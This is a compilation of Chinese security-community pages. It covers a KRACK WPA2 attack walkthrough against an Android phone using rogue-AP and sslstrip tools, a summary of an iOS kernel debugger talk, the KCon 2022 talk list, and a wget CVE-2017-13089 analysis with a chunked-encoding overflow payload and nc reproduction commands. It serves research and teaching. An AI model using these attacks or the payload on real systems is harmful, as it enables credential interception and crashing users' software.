• 计数器模式密码块链消息完整码协议CCMP
• 伽罗瓦/计数器模式协议GCMP
---
所采用的数据加密算法分别为流密码RC4、认证加密算法AES-CCM和认证加密算法AES-GCM，其中AES-CCM和AES-GCM的加密部分都是基于CTR模式的流式加密。明文数据与算法生成的密钥流按比特逐位异或后得到密文数据。流式加密的问题是在密钥固定的条件下重用nonce时总会生成相同的密钥流。这一特性可以被利用来解密数据包。
用KeyStream表示密钥流，P1和P2表示两组明文数据，KeyStream，P1，P2具有相同的比特长度，则两组明文对应的密文分别为：
• C1 = P1 ⊕ KeyStream
• C2 = P2 ⊕ KeyStream
攻击者可以通过网络收集到密文C1和C2，如果攻击者知道密文C1对应的明文P1，则可以据此恢复明文P2的信息：
• P2 = C2 ⊕ keystream = C2 ⊕(P1 ⊕ C1)
在实际情况中，通常能找到已知内容的数据包，所以可以认为在密钥固定的条件下重用nonce时获得密文数据包可根据上述过程解密。即使已知内容的数据包确实无法获得，当对消息类型有足够的知识（比如消息为英文字符）的条件下，也可能解密还原出明文。
WAIT!!!!!!!! AP安装PTK了吗?
客户端重装PTK之后，发送的消息4将被加密,而此时AP尚未安装PTK,无法识别，消息4将被丢弃，攻击失败了吗？
802.11标准表述存在瑕疵：
“On reception of message 4, the Authenticator verifies that the Key Replay
Counter field value is one that it used on this 4-way handshake.”
---
注意其表述为“one”，也就是只要先前用过的都行。凡是照此实现的算法，均可用之前的消息4取代。使得攻击者可以完成一个完整的四次握手过程，使AP安装PTK。进而实现对通信数据包的解密。此时，攻击者并不知道实际安装的密钥。
### 3.2 接受明文重传消息3，安装全0密钥
在Linux和Android系统中，实现WPA2的是wpa_supplicant.由于其2.3版本以上对协议的错误实现
使得安装PTK后将TK置0，客户端再次收到消息3重装密钥时，会从内存中取回TK。在这种情况下，则会导致安装全0密钥TK，使得攻击者不仅能解密数据包，还能进行流量劫持。
基本步骤与前例一致，区别只在于此时安装的TK是全0，攻击者知道了TK,可以进行流量劫持，监控并篡改客户端发出的全部数据
###
### 3.3 接受加密重传消息3（转变为接受明文重传）
在Linux和Android系统中，虽然设定为接受加密重传的消息3，但其也会接受明文重传的消息3，只要重传的消息3紧跟在原始消息3之后。
无线网卡会将其送入CPU的接收队列中。
CPU先处理第一条消息3，发出第一条消息4后,发出命令，让无线网卡安装密钥。
CPU再处理第二条消息3，发出第二条消息4
，无线网卡使用PTK对其加密。CPU发出命令,无线网卡重装密钥，nonce被重用为1。被转化为接收明文重传消息3。
图2-7 接受加密重传消息3（被转变为接受明文）
### 3.4 仅接受加密重传消息3
攻击者先等待客户端完成一次完整的四次握手，在第二次的四次握手过程中，阻塞消息3，等待AP重传的消息3到来，一起交付给客户端的无线网卡。
无线网卡使用当前的PTK将其解密，送入CPU的接收队列。
CPU先处理第一条消息3，发出第一条消息4后, 发出命令，让无线网卡安装新的密钥PTK’。
系统并不对对消息3加密的密钥进行检查，所以尽管第二条消息3是用以前的PTK进行的加密，对其不加区别。所以CPU直接发出第二条消息4
，发出命令，让无线网卡重装密钥，nonce被重用为1.
### 3.5 不听话的孩子幸免于难？
Windows和iOS 违背802.11标准，不接受消息3重传，所以其免疫四次握手攻击。
但是，组密钥握手攻击，Fast BSS（Basic ServiceSet） Transition（FT）握手攻击然有效。
最后，我们一起来看一个攻击实例,视频演示可在[https://www.krackattacks.com](https://www.krackattacks.com/)查看
## 4 攻击实例
利用安卓设备存在的可被强制安装全0密钥漏洞，获取用户登录名及密码等敏感的个人信息
### 4.1 工具
工具
• 探测漏洞是否可用的脚本，
• 漏洞利用脚本
• https降级工具sslstrip
• 抓包工具wireshark
### 4.2 攻击过程
安卓手机在没有恶意设备接入时连接到WPA2加密的无线网络
图4-1 接入加密网络
手机访问macth.com,安卓手机默认开启SSL（安全套接层）
图4-2 网站开启SSL
启动攻击脚本krack-all-zero-tk.py，各项信息如下
真实热点Real AP：
Ssid： testnetwork
MAC：bc:ae:c5:88:8c:20
Channel：6
被攻击客户端target：
MAC: 90:18:7c:6e:6b:20
伪造同名同MAC热点（Rouge AP）：
Ssid： testnetwork
MAC：bc:ae:c5:88:8c:20
Channel：1
---
图4-3 启动攻击脚本
启动enable_internet_forwarding.sh脚本，使得钓鱼热点可用
图4-4 使钓鱼热点可用
启动sslstrip,去除SSL保护
图4-5 去除SSL保护
接下来，使用wireshark抓包，手机再次连接无线网络。
图4-6 再次连接
此时，手机首先依然连接到真实热点，通过构造CSA(Channel Switch Announcement
信道切换公告)信标(beacon)的方式来强制切换到钓鱼热点。
图4-7 CSA元素格式
图4-8 攻击成功
手机再次连接网页，SSL保护已去除
图4-9 SSL保护已去除
输入账号密码登录
图4-10 登录
查看wireshark捕获数据
图4-11 WPA2保护已被绕过
审核人：yiwang 编辑：边边 | 社区文章 |
# MOSEC议题解读 | Build your own iOS kernel debugger
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 议题概要
Ian
Beer在这次议题中介绍了如何针对零售版的iOS设备开发一个内核调试器。议题的内容会涵盖ARM64底层在XNU中的异常处理，KDP远程调试的协议以及如何在不修改内核代码的前提下打造一个支持设置断点的本地内核调试器。
## 作者介绍
Ian Beer在Google的Project Zero团队从事漏洞挖掘与利用的相关研究。
## 议题解析
### 历史与现状
在旧版本的iOS内核中支持KDP，并且通过一些bootrom和kernel的漏洞时设置内核启动时的参数。通过特殊数据线的配合可以实现调试iOS内核的功能。
但是在当前版本中iOS内核已经不支持KDP了，并且异常处理模块也不支持断点功能，同时硬件设备也没有提供真正的串口。这些限制都导致了在当前版本中研究人员无法通过调试器对iOS的内核进行动态调试。
### 设计与实现
Ian beer试图通过硬件断点构造一个可以使用的iOS内核调试器。
通过在源码中搜索“hardware breakpoint”在某一个分支中找到如下这段代码：
根据这一段代码可以知道，如果我们能够构建并使得一个硬件断点生效的话，将导致当前执行代码的那一颗核（core）进入一个死循环。
根据对这个异常处理的分析与研究，Ian Beer给出一个通过硬件断点编写iOS内核调试器的设计思路。
**断点“触发”**
当硬件断点的异常事件被触发后，根据该异常处理的相关代码，程序会陷入一个死循环，给我们进行代码调试的时机。
**断点“释放”**
通过FIQ异常的特性，可以将硬件断点触发后陷入死循环的线程通过调度算法重新执行。
**iOS的异常处理**
在iOS内核中，当exception发生时（无论该异常是由应用层还是内核触发）当前调用栈和寄存器寄存器都会保存在栈上的特殊位置上，在陷入“死循环”便可以根据规律去相应的位置对寄存器和调用栈进行访问，从而实现调试器的具体功能。
**异常处理流程**
**实现中遇到的问题**
在正常情况下硬件断点是没法通过正常的应用层程序设置的。
表示进程状态的PSTATE.D值在进入异常处理后会被设为1，而当PSTATE.D的值为1的时候硬件断点是不会生效的，并且内核不会将这个值清零。
**通过内核任意读写修改硬件断点数据结构**
确切的说硬件断点在应用层其实是可以设置的，但是不能被enable。所以只要我们拥有一个内核任意读写的漏洞，就可以修改相关数据的值，将硬件断点设置为enable的状态。
**通过ROP封装一个自己的System Call**
因为在异常处理是会将PSTATE.D设为1，而PSTATE.D的值为1的时候硬件断点是无法生效的。通过ROP自己封装一个system
call，先将PSTATE.D设为0之后再去做相应的系统调用，这时就可以触发硬件断点了。
**最终的实现方案**
**LLDB**
最后通过实现一个支持KDP的debugserver，这样用户可以使用lldb进行iOS的内核调试了。
## 总结
Ian Beer向我们展示了一个实现非常精巧的iOS内核调试器。虽然功能上仍然存在一切缺陷，但是对安全研究人员来说已经完全可以胜任所有的需求了。Ian
Beer还提到，如果拥有了对内核线程做调试的能力，那么应用层App的数据安全将无法得到保障。
本议题内容非常硬核，有兴趣的读者可以在Ian Beer公布源码后再做深入的学习和理解。
审核人：Atoo 编辑：少爷 | 社区文章 |
2022年8月27日至28日，盛夏落幕，初秋刚至。在万物更替的时节，KCon以全新的形式庆贺了十一周岁的生日。前十年，KCon一直行走在探索与分享网络攻防技术的道路上，也收获了众多同伴的支持。第十一年，KCon迈步新生，以“+1”的决心和动作开启了新十年。
2022年
KCon首次采用全线上直播且免费参与的方式，中国信息安全、嘶吼、数说安全、蘑菇云4家媒体同步线上转播。两天时间，热情观众为KCon进行数万次点赞和数千条评论以及分享。大家在互动区实时互动，为讲师积极打call，踊跃提问，即时进行技术的交流，直播间一派火热气氛。
本届 KCon 已画上圆满的句号，虽然本届大会是以线上形式举办，仍旧获得了朋友们热情的关注与支持。为了方便后续大家参考学习，现公布15个议题的PPT。
点击蓝字，也可观看 KCon 2022
精编版[回放视频](https://view.csslcloud.net/api/view/index?roomid=D02BF113D16074BF9C33DC5901307461&userid=AEE7F6605EBD1C01
"回放视频")。（直播回放有效期截至2023年2月28日）
* * *
## 自动化API漏洞Fuzz实战
**演讲者：**
周阳，星阑科技Portal
Lab安全研发工程师，具有丰富的漏洞研究及红队武器化经验，历经主机漏洞扫描、应用漏洞扫描、开源软件供应链安全跟踪以及漏洞情报管理平台等多款产品建设，曾参与发现多个linux系统安全漏洞并收到工信部及其他部委致谢。目前专注于API安全研究以及自动化应用漏洞扫描方向。
吕竭，星阑科技Portal
Lab安全工程师，曾就职于某大型央企，在攻防演练、甲方安全建设方面具有丰富经验。目前专注于API漏洞挖掘与Fuzz工具设计方向，不断通过实战提升工具效果，上报数十个SRC
API高危/严重漏洞，获得国内多个SRC月榜前十。
**议题介绍：**
本议题首先介绍API安全的问题产生的背景及攻击面，然后提出一种自动化API采集-解析-Fuzz的方法，针对API的协议复杂性、参数结构复杂性、请求序列依赖等问题给出自动化测试思路，并通过具体漏洞案例阐述API Fuzz过程。
[**PPT下载**](https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/%E8%87%AA%E5%8A%A8%E5%8C%96API%E6%BC%8F%E6%B4%9EFuzz%E5%AE%9E%E6%88%98%E3%80%90KCon2022%E3%80%91.pdf
"**PPT下载**")
* * *
## 进退维谷：runC的阿克琉斯之踵
**演讲者：**
阮博男，绿盟科技星云实验室安全研究员，主要研究方向为云虚拟化和5G安全。
撰写并发布多篇云原生安全文章，是《2020绿盟科技云原生安全报告》《云原生安全：攻防实践与体系构建》的作者之一，发起并维护云原生攻防靶场开源项目Metarget。
**议题介绍：**
本议题探讨了CVE-2022-0847 DirtyPipe漏洞写runC逃逸的利用手法。
从CVE-2016-9962、CVE-2019-5736等漏洞的修复情况分析了能够利用CVE-2022-0847写runC逃逸成功的原因，指出runC修复方案的局限性及“写runC”作为一种新的通用逃逸突破思路，能够与CVE-2022-0847、CVE-2022-0185等众多漏洞配合逃逸出容器。
最后提出了一种基于ELF文件注入的更优雅的写runC逃逸的方法，不同于已公开的漏洞利用手法，这种方法不会影响原runC的代码逻辑，不会导致依赖runC的其他容器及云原生程序出错，从而更为隐蔽。
[**PPT下载**](https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/%E8%BF%9B%E9%80%80%E7%BB%B4%E8%B0%B7%EF%BC%9ArunC%E7%9A%84%E9%98%BF%E5%85%8B%E7%90%89%E6%96%AF%E4%B9%8B%E8%B8%B5%E3%80%90KCon2022%E3%80%91.pdf
"**PPT下载**")
* * *
## Hacking JSON
**演讲者：**
浅蓝（白新宇），22岁，专注于Java安全研究，曾多次发现包括 fastjson 在内的多个知名组件安全漏洞，KCon 2019 兵器谱「溯光」作者。
**议题介绍：**
本次议题分享了JSON库的攻击思路，以 fastjson 为例提出一种新型在反序列化漏洞中寻找通用利用链的方法，并围绕 fastjson
相关漏洞深入分析，给出多种场景下扩展延伸的攻击方法，还将分享其他JSON库存在的安全问题与WAF对抗思路。
[**PPT下载**](https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf
"**PPT下载**")
* * *
## 返璞归真：重新审视物理安全与近源渗透
**演讲者：**
杨文韬，信息安全研究员，目前研究方向为硬件安全与近源渗透，近一年来着力于近源渗透的理论研究和工具开发。从事信息安全咨询和风险评估工作。负责过多个金融、能源、制造业、互联网等企业的信息安全评估。
**议题介绍：**
威胁分析：
近源威胁远不止黑客攻击。在本议题中，分析了近源渗透的攻击面和攻击手段。包括不限于：
* 在冗长的硬件供应链和维护环节，有大量的人员可以接触设备，在硬件或固件中投毒，或是在维护过程中窃取数据。
* 数据取证是司法实践中广泛应用的手段。当攻击者可以物理接触一台电脑，常见的安全措施，大多都能被绕过。
* 在企业内部，欲窃密或破坏的内部人员，将拥有优越的条件发起近源攻击。近年来，因近源攻击造成的泄密事件频发。
* 又或者是在USB接口、显示器接口上安装后门设备。当攻击者安放了硬件后门，现有的技术手段大多无法侦测。
攻击手法：
* 近源渗透的攻击手段，大多数需要特制硬件设备的配合。在本议题中，我们将开源一套用于近源渗透的硬件设备。
* 公开完整的硬件设计、固件源代码、构建指南，以尽可能低的成本实现近源攻击。
* 包含低成本的USB攻击设备、用于绕过Windows登陆密码和Bitlocker的程序、用于攻击Wi-Fi、无线电遥控、RFID的无线安全设备、硬件键盘记录器、硬件屏幕记录器、网络后门等。
* 帮助近源渗透工程师发起钓鱼攻击、攻击无线设备、绕过门禁、渗透计算机和服务器、窃取数据、植入硬件后门等。
[**PPT下载**](https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/%E8%BF%94%E7%92%9E%E5%BD%92%E7%9C%9F-%E9%87%8D%E8%AF%86%E7%89%A9%E7%90%86%E5%AE%89%E5%85%A8%E4%B8%8E%E8%BF%91%E6%BA%90%E6%B8%97%E9%80%8F%20%E3%80%90KCon2022%E3%80%91.pdf
"**PPT下载**")
* * *
## 公有云下，企业安全审计框架和构建可审计的安全环境
**演讲者：**
Royce Lu，派拓网络总监级研究员，研究领域包括内核安全、漏洞攻防、机器学习以及云安全。曾在BlackHat，Virus
Bulletin等顶级国际安全会议发表各种研究成果。
Zhanglin He，派拓网络主管级研究员，研究领域包括Web安全、漏洞攻防、沙盒以及云安全。
**议题介绍：**
本次议题，以GCP（Google Cloud Platform）为例，介绍了公有云的安全机制以及对应的安全责任共担模型。
首先从红队视角出发介绍常见攻击方法，包含各种横向移动与权限突破问题，然后再以蓝队视角讨论对应的防御与运营思路。
结合EDR、静态扫描与大数据处理，提出了一个自动化安全审计框架，从用户的角度审计企业内部云环境的安全性。
为了方便用户在不同云厂商环境下的实践，结合在真实企业云环境中的发现，为构建可被安全审计的云环境，对云厂商以及用戶给出实践建议和检查清单。
[**PPT下载**](https://github.com/knownsec/KCon/blob/master/2022/%E6%9E%84%E5%BB%BA%E5%8F%AF%E5%AE%A1%E8%AE%A1%E7%9A%84%E5%85%AC%E6%9C%89%E4%BA%91%E5%AE%89%E5%85%A8%E7%8E%AF%E5%A2%83%20%E3%80%90KCon2022%E3%80%91.pdf
"**PPT下载**")
* * *
## 智能WEB安全攻击系统
**演讲者：**
迟程，博士，毕业于中国科学院大学，主要研究方向为AI算法在计算机视觉中的应用，获评中国电子教育学会优秀博士论文。
发表论文10余篇，包括TPAMI、TIP、NeurIPS、ICML、CVPR、AAAI等顶会和顶刊，Google
Scholar被引1000余次，并担任AI领域多个顶会和顶刊审稿人。在CVPR 2020曾获Best Paper提名奖，曾获博士后基金面上资助。
目前在深信服带领团队致力于探索AI算法在网络安全中的应用，多个项目获得公司和研发体系的技术大奖。
**议题介绍：**
以SQL注入为切入点，内部对抗完成多轮对抗测试，共发现防火墙产品数十种绕过模式，已推动完成修复；方案与sqlmap工具完成集成，在数十家客户渗透测试过程中，实现一键注入的实战效果。本议题带你详细了解这个智能WEB安全攻击系统。
[**PPT下载**](https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/%E6%99%BA%E8%83%BDWEB%E5%AE%89%E5%85%A8%E6%94%BB%E5%87%BB%E7%B3%BB%E7%BB%9F%E3%80%90KCon2022%E3%80%91.pdf
"**PPT下载**")
* * *
## 解锁工控设备固件提取的各类方法
**演讲者：**
高剑，绿盟科技格物实验室工控安全研究员，主要研究方向为工控系统漏洞、工控业务场景风险评估与测试。
已获得30+个CVE、CNVD编号，涉及西门子、施耐德、ABB、Codesys、亚控、海为等厂商。多次参与国家级工控安全平台建设项目及国内知名制造厂商安全调研项目。
为看雪SDC 2020、CIS 2020演讲嘉宾，HITB AMS 2021、HITB SIN 2021、ICS Cyber security
conference 2021、HITCON 2021演讲嘉宾。
**议题介绍：**
本议题主要针对该困难，提出了一套在国内外工控厂商（西门子、ABB等）广泛使用的设备中验证后的有效方法论，该方法论中根据设备的不同特点提出了针对性的固件提取技术，不仅包含了硬件拆焊技术、利用漏洞dump内存，还会阐述如何利用组态语言编程使PLC等设备自己发送出固件等信息。
可以学到如何提取工控设备的固件，还将知道如何绕过工控设备安全研究过程中的诸多坑点。
[**PPT下载**](https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/%E8%A7%A3%E9%94%81%E5%B7%A5%E6%8E%A7%E8%AE%BE%E5%A4%87%E5%9B%BA%E4%BB%B6%E6%8F%90%E5%8F%96%E7%9A%84%E5%90%84%E7%B1%BB%E6%96%B9%E6%B3%95%E3%80%90KCon2022%E3%80%91.pdf
"**PPT下载**")
* * *
## Where’s My Session Pool?
**演讲者：**
张云海，绿盟科技天机实验室负责人，从事信息安全行业十七年，主要研究方向为高级漏洞利用技术与攻防对抗。曾经在 Black Hat、Blue Hat、DEF
CON、POC、XCon、CSS TSec、VARA等安全会议上进行过主题演讲。自2014年起连续5年获得微软 Mitigation Bypass
Bounty奖励。
**议题介绍：**
自从微软在Windows NT时代引入了会话（Session）的概念，会话池内存（Session
Pool）就一直作为一种重要的内存类型存在于内核之中，同时也有众多的内核漏洞和利用技术与会话池内存息息相关。
然而，在即将发布的Windows 11第一个更新版本之中，有着几十年历史的会话池内存却悄然消失了。
是什么原因使得微软会决定从内核中移除会话池内存？会话池内存的移除会给相关的内核代码带来怎样的影响？同时又会导致哪些内核漏洞利用的有利条件与不利因素？本议题解答了这些问题。
[**PPT下载**](https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/Where%E2%80%99s%20My%20Session%20Pool%E3%80%90KCon2022%E3%80%91.pdf
"**PPT下载**")
* * *
## 击败SOTA反混淆方法
**演讲者：**
程瑞，西安交通大学软件学院在读，绿盟科技伏影实验室安全研究员。研究方向为程序分析，模糊测试。
黄泳龙，西安交通大学软件学院在读，iMiss实验室安全研究员。研究方向为Web安全，二进制安全。
**议题介绍：**
议题系统分析了SOTA的反混淆方法，它们使用了符号执行，污点分析，程序切片，程序合成，TRACE等程序分析手段。不管是学术界还是产业界，现有的关于抵抗这些分析方法的工作都是存在缺陷的。
[**PPT下载**](https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/%E5%87%BB%E8%B4%A5SOTA%E5%8F%8D%E6%B7%B7%E6%B7%86%E6%96%B9%E6%B3%95%E3%80%90KCon2022%E3%80%91.pdf
"**PPT下载**")
* * *
## tabby: java code review like a pro
**演讲者：**
王柏柱（wh1t3p1g），现就职于蚂蚁集团⽹商银⾏紫军团队，毕业于中国科学院信息⼯程研究所，前NESE
战队成员，开源⼯具ysomap、tabby作者。⽬前，主要研究⽅向为半/全⾃动化的java漏洞挖掘，红蓝对抗。
**议题介绍：**
本议题主要讲述如何从零到一构建自己的java自动化代码审计方案，并且以利用链挖掘、基础漏洞挖掘方法、进阶漏洞挖掘方法三个部分分享具体的案例。
分享内容主要涉及：
* 基于代码属性图的漏洞挖掘方案（tabby原理、实现思路）
* 利用代码属性图来挖掘利用链（包括对市面上常见的利用链挖掘思路）
* 利用代码属性图来挖掘常见的通用web漏洞（以国内某著名商业应用为例）
* 利用代码属性图来挖掘java rpc框架的漏洞（包括通用模式分析、触发点挖掘、利用链挖掘并利用）
[**PPT下载**](https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/tabby%20java%20code%20review%20like%20a%20pro%E3%80%90KCon2022%E3%80%91.pdf
"**PPT下载**")
* * *
## RASP攻防下的黑魔法
**演讲者：**
徐元振（pyn3rd），阿里云高级安全专家，阿里云WAF/RASP产品负责人，HITB / CanSecWest / KCon等会议Speaker。
拥有十年甲乙方安全经验，专注于云原生安全和Java安全研究，尤其是各类Web漏洞挖掘和检测方法，19年成功帮助阿里云WAF进入Gartner全球象限，并于今年帮助阿里云整体安全能力拿下全球第二，作为亚洲唯一入围厂商，11项安全能力被评估为最高水平（High），其中云WAF项被评为（High），超过亚马逊，仅次于微软。
目前负责云WAF产品和RASP产品，参与过多次天猫双十一活动保障和全国安全攻防演练工作的保障工作。
黄雨喆（Glassy），阿里云商业化RASP核心成员，多年RASP研发、攻防对抗经验，对国内外多个RASP进行过源码级的分析，擅长工具开发、白盒审计、漏洞挖掘，提交过多份RCE级别0day。
**议题介绍：**
本次议题主要介绍了RASP的实现方式，总结了常见的检测方式、对抗方法，以及在搞对抗场景下的未公开技巧。从攻击和防御两个方向彻底剖析RASP，给听者全新的认知和收获。
[**PPT下载**](https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/Magic%20in%20RASP-attack%20and%20defense%E3%80%90KCon2022%E3%80%91%20.pdf "**PPT下载**")
* * *
## 名侦探的下午茶：Hunting with Provenance
**演讲者：**
张润滋，博士，绿盟科技天枢实验室高级安全研究员，负责AISecOps智能安全运营前沿技术落地应用。
研究方向包括安全运营、威胁狩猎及安全知识图谱等，致力于数据、智能驱动的安全防御与运营自动化水平提升，参与公司用户实体行为分析、AISecOps等多项技术研究项目。
相关演讲经历包括：2019成都‧世界信息安全大会-应急响应、安全运营分论坛《基于可信线索挖掘的威胁狩猎》；2019网络安全创新大会-人工智能安全前沿论坛《XAI与可信任安全智能》；2020 XCon《打造风险驱动的智能威胁推荐引擎》等。
**议题介绍：**
本议题介绍了溯源数据挖掘技术应用场景，总结关键技术挑战以及前沿技术方案及其分类，分享相关实践经验，最后总结技术发展趋势。
[**PPT下载**](https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/%E5%90%8D%E4%BE%A6%E6%8E%A2%E7%9A%84%E4%B8%8B%E5%8D%88%E8%8C%B6%EF%BC%9AHunting%20with%20Provenance%E3%80%90KCon2022%E3%80%91.pdf
"**PPT下载**")
* * *
## 浅谈零信任环境下攻击场景
**演讲者：**
薛逸钒，腾讯企业IT安全研究员，多年从事红队攻防、EDR对抗等领域，拥有丰富实战经验，曾参与大型国企、互联网金融项目护网工作，目前专注于办公网领域安全。
**议题介绍：**
本议题，结合了市面上零信任产品实现以及落地方案进行分析，介绍公司内部红蓝对抗中关于零信任环境下的对抗手法。
[**PPT下载**](https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/%E6%B5%85%E8%B0%88%E9%9B%B6%E4%BF%A1%E4%BB%BB%E7%8E%AF%E5%A2%83%E4%B8%8B%E6%94%BB%E5%87%BB%E5%9C%BA%E6%99%AF%E3%80%90KCon2022%E3%80%91.pdf
"**PPT下载**")
* * *
## 有关Web3与DID的思考: 资金追溯和地址画像技术在区块链安全场景下的应用
**演讲者：**
Plume，Bitrace Team 安全研究员。多年从事网络安全及区块链安全技术研发，就职于 Bitrace
安全团队，目前主要研究方向为OSINT情报挖掘，基于图的区块链数据分析等。
**议题介绍：**
DID规范的提出与区块链生态中地址即身份的技术特征不谋而合。但回顾区块链的发展历程发现，类似DID的概念在强调保护用户隐私及声明网络资源所有权的同时，似乎也为骇客活动提供了便利。
在去中心化场景下如何感知隐藏在DID背后的安全威胁？本议题基于资金追溯和地址画像技术在区块链安全场景中提出了一点新思路。
[**PPT下载**](https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/%E6%9C%89%E5%85%B3Web3%E4%B8%8EDID%E7%9A%84%E6%80%9D%E8%80%83-%E8%B5%84%E9%87%91%E8%BF%BD%E6%BA%AF%E5%92%8C%E5%9C%B0%E5%9D%80%E7%94%BB%E5%83%8F%E7%9A%84%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8%E5%BA%94%E7%94%A8%E3%80%90KCon2022%E3%80%91.pdf
"**PPT下载**")
* * *
## 如何从 defi 中捡钱？——智能合约安全代码审计
**演讲者：**
Rivaill，前白帽汇区块链安全研究员，曾参与信通院《区块链基础设施安全防护标准》制定，目前致力于Web3安全领域的漏洞分析与复现，并尝试研究探索新型攻击向量。
Snowming，毕业于新加坡国立大学软件工程专业，目前为智能合约安全研究员，主要研究方向为智能合约方面的安全审计、漏洞挖掘、工具开发。
**议题介绍：**
该议题结合至少两个真实知名项目中的 issues（包括未披露的），说明如何通过代码审计，找出来一些 defi 项目中的套利点。
另外以此为切入点，介绍关于智能合约代码审计的流程方法、tools 以及 tricks。
[**PPT下载**](https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/%E5%A6%82%E4%BD%95%E4%BB%8E%20defi%20%E4%B8%AD%E6%8D%A1%E9%92%B1-%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E3%80%90KCon2022%E3%80%91.pdf
"**PPT下载**")
* * * | 社区文章 |
作者:k2yk
日期：2017/11/13
最后更新日期：2017/11/15
### 0x00 漏洞描述
在 2017 年 11 月 12 日 NVD公布了关于 wget 的多个漏洞的情报，这里做一个wget缓冲区溢出漏洞的分析。在 wget
版本小于1.19.2 的情况下，wget 在处理重定向时，会调用 `http.c:skip_short_body()`函数, 解析器在解析块时会使用
`strtol()` 函数读取每个块的长度，但不检查块长度是否为非负数。解析器试图通过使用 `MIN()`函数跳过块的前512个字节，最终传递参数到
`connect.c:fd_read()`中。由于
`fd_read()`仅会接受一个int参数，在攻击者试图放入一个负参数时，块长度的高32位被丢弃，使攻击者可以控制
`fd_read()`中的长度参数，产生整形缓冲区溢出漏洞。
##### 影响范围
影响版本为：wget <=1.19.1
影响系统范围如下：
Ubuntu Ubuntu Linux 17.10
Ubuntu Ubuntu Linux 17.04
Ubuntu Ubuntu Linux 16.04 LTS
Ubuntu Ubuntu Linux 14.04 LTS
Redhat Virtualization Host 4
Redhat Enterprise Linux Workstation 7
Redhat Enterprise Linux Server for ARM 7
Redhat Enterprise Linux Server - TUS 7.4
Redhat Enterprise Linux Server - Extended Update Support 7.4
Redhat Enterprise Linux Server - AUS 7.4
Redhat Enterprise Linux Server - 4 Year Extended Update Support 7.4
Redhat Enterprise Linux Server (for IBM Power LE) - 4 Year Extended Update Support 7.4
Redhat Enterprise Linux for Scientific Computing 7
Redhat Enterprise Linux for Power, little endian - Extended Update Supp 7.4
Redhat Enterprise Linux for Power, little endian 7
Redhat Enterprise Linux for Power, big endian - Extended Update Support 7.4
Redhat Enterprise Linux for Power, big endian 7
Redhat Enterprise Linux for IBM z Systems - Extended Update Support 7.4
Redhat Enterprise Linux for IBM z Systems 7
Redhat Enterprise Linux EUS Compute Node 7.4
Redhat Enterprise Linux Desktop 7
Redhat Enterprise Linux 7
GNU wget 0
在实际测试过程中，这个漏洞会因为某些系统修改过wget而导致无法复现。
* * *
### 0x01 漏洞分析
##### 环境复现
现在本地搭建一个漏洞复现环境，漏洞复现过程这里推荐两个方案，一个是漏洞发现作者在git 上进行发布的dockerfile ，另外一个是自己进行编译的版本。
* CVE-2017-13089 的git 环境地址 <https://github.com/r1b/CVE-2017-13089>
* 使用方法
# Build the container
docker build -t cve201713089 .
# OR ...
docker pull robertcolejensen/cve201713089
# Play around in the container, `src` will be mounted at `/opt/CVE-2017-13089/src`
./run.sh
# Run the included DoS PoC
./run.sh dos
# Run the included exploit PoC (wip)
./run.sh exploit
* 其次就是通过自己编译进行复现
shell
# 获取wget
wget ftp://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
# 解压
tar zxvf wget-1.19.1.tar.gz
#进入目录
cd wget-1.19.1
#编译
./configure
make
cd src
验证
nc -lp 6666 < payload & ./wget localhost:6666
下方为payload 文件：
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFFD00
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA